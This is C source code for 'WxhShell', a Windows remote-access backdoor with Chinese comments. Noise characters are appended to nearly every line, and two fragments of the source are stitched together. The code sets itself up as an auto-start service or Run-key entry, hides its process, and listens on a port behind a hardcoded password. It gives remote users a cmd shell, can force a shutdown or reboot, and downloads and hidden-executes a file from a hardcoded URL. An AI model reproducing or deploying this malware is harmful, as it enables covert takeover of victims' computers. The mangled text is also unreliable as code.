    ExitThread(0); ;K`qSX;;c(  
    } $n>.;CV  
    break; L0Xb^vx}m  
    } M$|^?U>cm  
  // 关机 #knpZ'  
  case 'd': { &;*jMu6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ey 4GyAl  
    if(Boot(SHUTDOWN)) poQY X5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bluhiiATd  
    else { X 5pp8~  
    closesocket(wsh); 29}(l#S}m  
    ExitThread(0); uh@ZHef[l  
    } h=?#D0  
    break; P!1y@R>Ln  
    } l2._Z Py  
  // 获取shell F"~uu9u  
  case 's': { He~) i)co  
    CmdShell(wsh); j<e`8ex?  
    closesocket(wsh); abx /h#_q  
    ExitThread(0); ?%#3p[  
    break; r +d%*Dx  
  } t4~Bn<=  
  // 退出 w}X<]u  
  case 'x': { x^xlH!Sc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 48W$ ,  
    CloseIt(wsh); 0%#ZupN  
    break; R~PD[.\u  
    } <"X\~  
  // 离开 DTH;d-Z  
  case 'q': { lN -vFna  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Me_.X_  
    closesocket(wsh); ^FIpkhw  
    WSACleanup(); ewvFUD'j  
    exit(1); ]>B>.s  
    break; zU}Ru&T9  
        } .SAOE'Foo  
  } bXmX@A$#Io  
  } M&wf4)*%0+  
?:H4Xd7  
  // 提示信息  _xjw:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #R-l2OO^]  
} `O/1aW1  
  } )O;6S$z9Y  
I!Z=3 $,  
  return; 14Y_ oH9  
} .!/w[Z]  
aQzx^%B1  
// shell模块句柄 3k3-Ts  
int CmdShell(SOCKET sock) Gl; xd  
{ ~>6d}7xs  
STARTUPINFO si; Rr A9@95+  
ZeroMemory(&si,sizeof(si)); rvfS[@>v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kg?(Ax4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N hG?@N  
PROCESS_INFORMATION ProcessInfo; 1u>[0<U~E  
char cmdline[]="cmd"; ^__';! e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =[5F~--Tf  
  return 0; :O)\+s-  
} 5! -+5TJI  
X/Sp!W-H  
// 自身启动模式 F)K&a  
int StartFromService(void) &"l Sq2  
{ -A1@a= q  
typedef struct 8=TM _  
{ )@(IhU )  
  DWORD ExitStatus; )?y${T   
  DWORD PebBaseAddress; :#nfdvqm  
  DWORD AffinityMask; ~  p~  
  DWORD BasePriority; n Nu~)X  
  ULONG UniqueProcessId; fbg:rH\_  
  ULONG InheritedFromUniqueProcessId; qzk!'J3*r<  
}   PROCESS_BASIC_INFORMATION; >uLWfk+y1  
80_}}op ?8  
PROCNTQSIP NtQueryInformationProcess; ?*AhGza/  
MZd?cS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OV2/?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u!CcTE*  
dp}s]`x+  
  HANDLE             hProcess; {e!3|&AX  
  PROCESS_BASIC_INFORMATION pbi; p!/!ZIo  
3-Bz5sj9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mswAao<y&x  
  if(NULL == hInst ) return 0; D]=V6l=  
l~ Hu#+O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lJvfgP-j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e+~@"^|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B=}s7$^  
~e<^jhpJ  
  if (!NtQueryInformationProcess) return 0; <sTY<iVR  
 MFyi#nq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :@4+}  
  if(!hProcess) return 0; Ak kth*p  
JA09 o(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .QW@rV:T  
f = 'AI  
  CloseHandle(hProcess); PR3i}y>  
qm/#kPlM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X=@bzL;eq  
if(hProcess==NULL) return 0; v%muno,  
}ijFvIHV  
HMODULE hMod; 7Y.mp9,  
char procName[255]; 'YB{W8bR  
unsigned long cbNeeded; BU<Qp$ &  
z2iWr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 14`S9SL{V  
s|][p|  
  CloseHandle(hProcess); LFAefl\  
{)I&&fSz  
if(strstr(procName,"services")) return 1; // 以服务启动 >r>pM(h  
Mtaky=l8~I  
  return 0; // 注册表启动 u p zBd]  
} *+%$OH,  
p4uN+D `.U  
// 主模块 KwY6pF*  
int StartWxhshell(LPSTR lpCmdLine) uHuL9Q^  
{ TB_OFbI2  
  SOCKET wsl; \I7&F82e  
BOOL val=TRUE; <u  ImZC  
  int port=0; 4}t$Lf_  
  struct sockaddr_in door; E J&w6),d  
s( :N>K5*  
  if(wscfg.ws_autoins) Install(); -sx=1+\nf  
swg*fhJFB  
port=atoi(lpCmdLine); L*6>S_l[  
)&[ol9+\  
if(port<=0) port=wscfg.ws_port; ?NxaJ^  
O{Z bpa^  
  WSADATA data; u yoV)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CpU y~  
v<ati c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l]L"Ex{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8#|PJc  
  door.sin_family = AF_INET; $*j)ey>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0KN'\KE  
  door.sin_port = htons(port); 7Q|v5@;pU  
dF^`6-K1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |H%,>r`9S  
closesocket(wsl); ,Qt2?  
return 1; loD:4e1  
} q+)s  
xgIb4Y%  
  if(listen(wsl,2) == INVALID_SOCKET) { ,o\~d ?4  
closesocket(wsl); eK/rs r  
return 1; v"sN K  
} U3pMv|b  
  Wxhshell(wsl); !Xzy:  
  WSACleanup(); qSQsY:]j0  
.WS7gTw  
return 0; Cp]q>lM"  
FD.L{  
} w_#5Na}>d  
30QQnMH3  
// 以NT服务方式启动 ~./M5P!\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0T:ZWRjH  
{ b(_PV#@$  
DWORD   status = 0; %)L|7v<  
  DWORD   specificError = 0xfffffff; R-5e9vyS  
A"B[F#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tl*FK?)MC^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ETaLE[T%1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <a=k"'0  
  serviceStatus.dwWin32ExitCode     = 0; .*L_*}tno  
  serviceStatus.dwServiceSpecificExitCode = 0; /pz(s+4=  
  serviceStatus.dwCheckPoint       = 0; p"q4R2_/jh  
  serviceStatus.dwWaitHint       = 0; !{4bC  
&uxwz@RC0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ea!Znld]  
  if (hServiceStatusHandle==0) return; +WSM<S2 U  
^/jALA9!  
status = GetLastError(); J,^eq@(  
  if (status!=NO_ERROR) u )KtvC!  
{ 3o^  oq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \"mL LnK?  
    serviceStatus.dwCheckPoint       = 0; TYgn X  
    serviceStatus.dwWaitHint       = 0; }t.VH:02y  
    serviceStatus.dwWin32ExitCode     = status; <{Ir',;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z sbE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X" ;ly0Mb  
    return; 3gY4h*|`<  
  } =j!Ruy1  
BW%"]J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fd@:*ER  
  serviceStatus.dwCheckPoint       = 0; `xd{0EvF  
  serviceStatus.dwWaitHint       = 0; >-YWq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [<7Vv_\Q  
} ZYD3[" ~x  
D3-H!TFpDb  
// 处理NT服务事件,比如:启动、停止 ejC== Fkc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [lX3":)  
{ -4'yC_8t  
switch(fdwControl) QyX ?  
{ 4).>b3OhX  
case SERVICE_CONTROL_STOP: \i$WXW]|  
  serviceStatus.dwWin32ExitCode = 0; Ga} &%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c`h/x>fa  
  serviceStatus.dwCheckPoint   = 0; }w8:`g'T0/  
  serviceStatus.dwWaitHint     = 0; rocG;$[  
  { VC@{cVT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M/mUY  
  } ~#jD/  
  return; -964#>n[  
case SERVICE_CONTROL_PAUSE: ');QmN%J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Q<Ur&J]%  
  break; _oJq32  
case SERVICE_CONTROL_CONTINUE: *eo<5YUHt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {JlW1;Jc7  
  break; pC'GKk 8  
case SERVICE_CONTROL_INTERROGATE: Ii9@ j1-g  
  break; l ,T*b  
}; aj<=]=hr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); px1{=~V/  
} }$ZcC_  
idr,s\$>  
// 标准应用程序主函数 *n=NBkq%/!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ll !J!{  
{ l[q%1-N  
v8xNtUxN  
// 获取操作系统版本 @i[z4)"S  
OsIsNt=GetOsVer(); n)7olP0p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6n.W5 1g(s  
jWd 7>1R?  
  // 从命令行安装 t<6`?\Gk  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'e4  ;,m  
yjbqby7  
  // 下载执行文件 + fQ=G/  
if(wscfg.ws_downexe) { G,8LF/sR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^rc!X]C9  
  WinExec(wscfg.ws_filenam,SW_HIDE); uwl;(zwh_  
} Dm1;mRS+  
n(gw%w+\7  
if(!OsIsNt) { xrK%3nA4s"  
// 如果时win9x,隐藏进程并且设置为注册表启动 P!{ O<P  
HideProc(); M<,E[2op  
StartWxhshell(lpCmdLine); b0 CtQe  
} wPDA_ns~  
else tIgKnKr^)  
  if(StartFromService()) %:/_O*~)Yg  
  // 以服务方式启动 c8sY#I  
  StartServiceCtrlDispatcher(DispatchTable); AWP CJmr  
else eyZ /%4'q  
  // 普通方式启动 9tVA.:FOZ  
  StartWxhshell(lpCmdLine); PX3rHKK {  
"$? f&*  
return 0; .Z}ySd:X  
} bGvALz'  
;(Q4x"?I  
qJj;3{X2  
Nw}y_Qf{  
=========================================== Z,Z34:-  
?L$ Dk5-W  
)k0P' zGb  
SLL%XF~/Sb  
&UUIiQm~  
wj/\ !V!  
" cjU*  
Da!A1|"  
#include <stdio.h> \FSkI0  
#include <string.h> |~bl%g8xP  
#include <windows.h> /'IOi`d  
#include <winsock2.h> $ +h~VC  
#include <winsvc.h> 1O1/P,u+  
#include <urlmon.h> x-k}RI  
3~\mP\/4v  
#pragma comment (lib, "Ws2_32.lib") SUXRWFl  
#pragma comment (lib, "urlmon.lib") g*b`V{/Vw  
<8[BB7  
#define MAX_USER   100 // 最大客户端连接数 D;It0"  
#define BUF_SOCK   200 // sock buffer z!5^UD8"W  
#define KEY_BUFF   255 // 输入 buffer &}S#6|[i  
~#dNGWwG  
#define REBOOT     0   // 重启 FFl[[(`%D  
#define SHUTDOWN   1   // 关机 o~,dkV  
sTO*  
#define DEF_PORT   5000 // 监听端口 Uu{I4ls6B  
8/*q#j  
#define REG_LEN     16   // 注册表键长度 o`HZS|>K*  
#define SVC_LEN     80   // NT服务名长度 @@7<L  
l [?o du4  
// 从dll定义API AoL4#.r3H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A^_BK(EY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L,| 60*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _h!OGLec  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jz s.)  
u~\u8X3  
// wxhshell配置信息 s<[%7 6Y!  
struct WSCFG { [k.|iCD  
  int ws_port;         // 监听端口 ps"DL4*  
  char ws_passstr[REG_LEN]; // 口令 LY[XPV]t  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3>%rm%ffE  
  char ws_regname[REG_LEN]; // 注册表键名 Y  9]  
  char ws_svcname[REG_LEN]; // 服务名 mOr>*uR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Eym<DPu$n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y^tuybpZY<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6wx;grt'Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `me2Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Io*`hA]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zE5%l`@|o  
-l<b|`s=w.  
}; abkl)X>k  
b;#3X)  
// default Wxhshell configuration vFL Qq,?Nh  
struct WSCFG wscfg={DEF_PORT, e5_a.c  
    "xuhuanlingzhe", cq+|fg~Yy  
    1, m!5P5U x  
    "Wxhshell", n=l>d#}$%T  
    "Wxhshell", ZIQy}b'  
            "WxhShell Service", fOCLN$x^  
    "Wrsky Windows CmdShell Service", :}}5TJwG  
    "Please Input Your Password: ", UVlD]oXKh  
  1, ,\q9>cZ!  
  "http://www.wrsky.com/wxhshell.exe", B}8xA}<  
  "Wxhshell.exe" SYRr|Lg  
    }; x zu)``?  
Z`<S_PPz  
// 消息定义模块 {/G~HoY1i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;75K:_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y~#m-y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GZ,`?  
char *msg_ws_ext="\n\rExit."; #qY`xH'>  
char *msg_ws_end="\n\rQuit."; hdt;_qa   
char *msg_ws_boot="\n\rReboot..."; NpqMdd   
char *msg_ws_poff="\n\rShutdown..."; ;QkUW<(  
char *msg_ws_down="\n\rSave to "; .Nz2K[  
 P_6oMR  
char *msg_ws_err="\n\rErr!"; :UM>`Y  
char *msg_ws_ok="\n\rOK!"; P*Va<'{:{  
O4J <u-E$  
char ExeFile[MAX_PATH]; G(W/.*  
int nUser = 0; U8Z(=*Z3  
HANDLE handles[MAX_USER]; }A,9`  
int OsIsNt; @ -CZa^g  
-J*BY2LU3f  
SERVICE_STATUS       serviceStatus; TG 9 a1q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %0l'Nuz  
? cU9~=  
// 函数声明 -L&r2RF/  
int Install(void); ))m\d*  
int Uninstall(void); x6Zhw9RV  
int DownloadFile(char *sURL, SOCKET wsh); tb36c<U-  
int Boot(int flag); LG3D3{H(.  
void HideProc(void); pFb }5Q  
int GetOsVer(void); /vC|_G|{  
int Wxhshell(SOCKET wsl); Ahl-EVIr<  
void TalkWithClient(void *cs); OZ>w.$ue  
int CmdShell(SOCKET sock); .kKU MyW(  
int StartFromService(void); +l'l*<  
int StartWxhshell(LPSTR lpCmdLine); 5hN)y-4@  
7L3:d7=MIW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W;%$7&+0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0?c2=Y   
xVYy`_|  
// 数据结构和表定义 j#4 Iu&YJ  
SERVICE_TABLE_ENTRY DispatchTable[] = w]<V~X  
{ ybk~m  
{wscfg.ws_svcname, NTServiceMain}, 6L5j  
{NULL, NULL} jlaU3qXL  
}; xAJ N(8?  
2kukQj (n  
// 自我安装 K9-;-{qb  
int Install(void) (j<FS>##  
{ 0QJ :  
  char svExeFile[MAX_PATH]; ` mvPbZ0<  
  HKEY key; |T`ZK?B+u  
  strcpy(svExeFile,ExeFile); S7oPdzcU-  
{"kE u  
// 如果是win9x系统,修改注册表设为自启动 v=m!$~  
if(!OsIsNt) { >- S?rXO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZVu_E.4.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  9t$#!2z  
  RegCloseKey(key); BQWhTS7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~l {*XM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xA7>";sla[  
  RegCloseKey(key); D;?cf+6$  
  return 0; Kd='l~rby  
    } _\"2Mdk`]  
  } M[eq)a$  
} qStZW^lFeY  
else { jpwR\"UJ  
$G\WW@*GE  
// 如果是NT以上系统,安装为系统服务 T'^ Do/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [|qV*3 |?  
if (schSCManager!=0) pVm]<jO  
{ SI)QX\is8  
  SC_HANDLE schService = CreateService 4*0C_F@RX  
  ( 5S9i>B  
  schSCManager,  _BFDsQ  
  wscfg.ws_svcname, ^uiQZ%;  
  wscfg.ws_svcdisp, gDN7ly]6M  
  SERVICE_ALL_ACCESS, F o k%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o}4~CN9}  
  SERVICE_AUTO_START, ;OMR5KAz  
  SERVICE_ERROR_NORMAL, iY,Ffu E  
  svExeFile, UWXl c  
  NULL, ! V^wq]D2  
  NULL, @1w[~QlV  
  NULL, /nq\*)S#&  
  NULL, <(Rbu2_  
  NULL #"qP4S2  
  );  Y+d+  
  if (schService!=0) $./&GOus  
  { WqO4_;X6/  
  CloseServiceHandle(schService); c 80Ffq  
  CloseServiceHandle(schSCManager); BQ:hUF3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u<['9U  
  strcat(svExeFile,wscfg.ws_svcname); ^j!2I&h1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \Ota~A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;x|7"lE  
  RegCloseKey(key); Yi?v |H<a  
  return 0; ('~}$%C  
    } Jn&^5,J]F8  
  } drQI@sPp  
  CloseServiceHandle(schSCManager); ^`S.Mw.  
} nYnB WDnV  
} F~$ay@g  
I}sb0 Q&  
return 1; uXouN$&  
} gF>t+"+ x  
2C Fgit  
// 自我卸载 it$w.v+W7V  
int Uninstall(void) zCdcwTe  
{ hHk9O?  
  HKEY key; w{WEYS  
G,}"}v:  
if(!OsIsNt) { 9vckQCLM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z8ds`KZM  
  RegDeleteValue(key,wscfg.ws_regname); #9glGPR(  
  RegCloseKey(key); msVi3`q~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hLr\;Swyp  
  RegDeleteValue(key,wscfg.ws_regname); vD^Uod1  
  RegCloseKey(key); m%cwhH_B  
  return 0; QuIZpP=  
  } G ?Hx"3:?  
} ?[=OQ/E  
} gW-mXb  
else { 90 >V he  
Bm5\*Xd1(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \beYb0(+  
if (schSCManager!=0) OH13@k  
{ v~A*?WU;n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Gna}ALkg  
  if (schService!=0) 4" pU\g  
  { ,1B` Ve  
  if(DeleteService(schService)!=0) { !;UoZ~  
  CloseServiceHandle(schService); 6Nws>(Ij  
  CloseServiceHandle(schSCManager); e^}@X[*'#  
  return 0; )x<BeD  
  } @R Jr ~y0  
  CloseServiceHandle(schService); uD?Rs`  
  } dJe 3DW :  
  CloseServiceHandle(schSCManager); S%j W} v';  
} 3lTnfc&  
} J@OK"%12  
7GvMKtuSK  
return 1; &`,Y/Cbw  
} nkzH}F=<  
7&dK_x,a  
// 从指定url下载文件 Ciy%7_~\  
int DownloadFile(char *sURL, SOCKET wsh) a2[rY  
{ S0tkqA4  
  HRESULT hr; #-o 'g!  
char seps[]= "/"; qLPuKIF  
char *token; h\2iArw8  
char *file; z8XWp[K  
char myURL[MAX_PATH]; 1aZGt2;  
char myFILE[MAX_PATH]; ^#XQ2UN  
CDPu(,^  
strcpy(myURL,sURL); J0imWluhQ  
  token=strtok(myURL,seps); H:P7G_!\  
  while(token!=NULL) ]V)*WP#a  
  { gLRDd~H  
    file=token; "lrQC`?  
  token=strtok(NULL,seps); =ym<yI<  
  } >=:^N-a  
{9@u:(<X9  
GetCurrentDirectory(MAX_PATH,myFILE); H@u5&  
strcat(myFILE, "\\"); _ds;:*N+qA  
strcat(myFILE, file); +&dkJ 4g[  
  send(wsh,myFILE,strlen(myFILE),0); 2liJ^ `  
send(wsh,"...",3,0); [k0/ZfFwV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?bpV dm!  
  if(hr==S_OK) zkiwFEHA=  
return 0; (L1F ],Au  
else WEJ-K<A(  
return 1; MMUlA$*t  
T|0+o+i  
} @qYT/V*/  
\ @[Q3.VX  
// 系统电源模块 1J72*`4OK  
int Boot(int flag) c%bzrYQvA;  
{ 6^!fuIZ;_  
  HANDLE hToken; f$tm<:)Y  
  TOKEN_PRIVILEGES tkp; #a2gRg  
u:f.;?  
  if(OsIsNt) { hu1ZckIw?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); " Zx<hL*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,<'>j a C  
    tkp.PrivilegeCount = 1; }-J0cV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $:\`E 56\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *G7cF  
if(flag==REBOOT) { ,QpFVlPU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QxN1N^a0  
  return 0; (Q @'fb9z  
} [3I|MZ  
else { "<{|ni}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( Zd(?">i  
  return 0; hF$qH^-c*A  
} {~u Ti>U  
  } lG Bg8/[  
  else { dgIH`<U$  
if(flag==REBOOT) { ,lStT+A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #r]Z2Y]  
  return 0; dq`{fqGl  
} la)^`STh  
else { *coUHbP9>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vV*J;%MO  
  return 0; HZZZ [km  
} eU@Mv5&6  
} l_yF;5|?z  
Q$:Q6 /5.  
return 1; (XW'1@b  
} Eu:/U*j  
* 4Ldh}S!  
// win9x进程隐藏模块 gwQMy$  
void HideProc(void) ^/#G,MxNy  
{ Um 6}h@>  
IsE3-X|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [A/2 Ms  
  if ( hKernel != NULL ) vdAd@Z~\  
  { #IZh}*$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q(:L8nKT]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M TZCI}  
    FreeLibrary(hKernel); 3 dJ362  
  } MO0NNVVi%U  
/\# f@Sg  
return; Wm`*IBWA  
} =g! Pw]  
;'8Wl  
// 获取操作系统版本 k]5tU\;Yw  
int GetOsVer(void) "q+Z*   
{ f"P866@oWn  
  OSVERSIONINFO winfo; RuIBOo\XL7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >MN"87U6  
  GetVersionEx(&winfo); ?L7DVwVa,I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p|2GPrA]aL  
  return 1; 1h?ve,$  
  else U364'O8_  
  return 0; ZxSFElDD]E  
} Cj-&L<  
[)s4:V  
// 客户端句柄模块 #f24a?n|  
int Wxhshell(SOCKET wsl) 6h)_{| L)  
{ K+!e1 '  
  SOCKET wsh; GHd1?$  
  struct sockaddr_in client; P@ew' JL%  
  DWORD myID; } SW p~3P  
)MF@'zRK  
  while(nUser<MAX_USER) QrK%DN  
{ }bca-|N  
  int nSize=sizeof(client); aYT!xdCI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1g{}O^ul  
  if(wsh==INVALID_SOCKET) return 1; Lk,q~  
c,.@Cc2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qS @3:R  
if(handles[nUser]==0) !>> A@3  
  closesocket(wsh); mu{C>w_Rz  
else g^+p7G  
  nUser++; .Ji9j[[#D  
  }  yP+<kv4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E-.X%xfO  
-o%? ]S  
  return 0; |YROxY"ML  
} f;BY%$  
0H>gMXWE]  
// 关闭 socket $Bz};@  
void CloseIt(SOCKET wsh) 7Qd$@  m  
{ VqW5VL a  
closesocket(wsh); Ut\:jV=f  
nUser--; SgewAng?@o  
ExitThread(0); fm-m?=  
} -#9et30  
NT 5=%X]  
// 客户端请求句柄 Jk>vn+q8P^  
void TalkWithClient(void *cs) Ue 9Y+'-x  
{ Eej Lso#\  
56<UxIa~  
  SOCKET wsh=(SOCKET)cs; lb'tVO  
  char pwd[SVC_LEN]; uxD3+Q  
  char cmd[KEY_BUFF]; 2sIt~ Gn  
char chr[1]; /Z:NoTGn  
int i,j; {f-O~P<Z4  
?K7uy5Y  
  while (nUser < MAX_USER) { AE~a=e\x  
W.[!Q`  
if(wscfg.ws_passstr) { pZ|{p{_j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mTtaqo_Bh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8b'@_s!_  
  //ZeroMemory(pwd,KEY_BUFF); n46!H0mJ  
      i=0; tNr'@ls  
  while(i<SVC_LEN) { 3S+9LOrhY  
U$gR}8\e  
  // 设置超时 5Z_C (5)/Y  
  fd_set FdRead; ,3_Sf?  
  struct timeval TimeOut; Vu.=,G  
  FD_ZERO(&FdRead); hQj@D\}  
  FD_SET(wsh,&FdRead); <">epbV6  
  TimeOut.tv_sec=8; ]$L5}pE3  
  TimeOut.tv_usec=0; dX/7n=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  *1["x;A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tE=09J%z  
z7IJSj1gQI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^4 $4x  
  pwd=chr[0]; 46NuT]6/4  
  if(chr[0]==0xd || chr[0]==0xa) { =AzPAN#e  
  pwd=0; Mw RLv,&"  
  break; a-|pSe*rx  
  } 7\%JJw6h  
  i++; Wj,s/Yr:  
    } +U<YM94?  
,V!"4 T,Z  
  // 如果是非法用户,关闭 socket G-)e(u   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7OmT^jV2  
} ;dUKFdKH}  
ULz<P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FulFEnSV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LXX('d  
W{'hn&vU  
while(1) { .+(V</  
+_fFRyu>  
  ZeroMemory(cmd,KEY_BUFF); R&(OWF;~,  
JS ^Cc  
      // 自动支持客户端 telnet标准   KJQ8Yhq  
  j=0; b3-j2`#  
  while(j<KEY_BUFF) { %Ve@DF8G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); })^eaLBR4  
  cmd[j]=chr[0]; {H[N|\  
  if(chr[0]==0xa || chr[0]==0xd) { nE8z1hBUq  
  cmd[j]=0; (n7xYGfYS  
  break; hQx*#:ns  
  } QD!NV*  
  j++; 5&Yt=)c\  
    } p*lP9[7  
]'Eg2(wy  
  // 下载文件 =5Db^  
  if(strstr(cmd,"http://")) { x+4K,r;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u]NsCHKlT  
  if(DownloadFile(cmd,wsh)) *O'|NQhNx>  
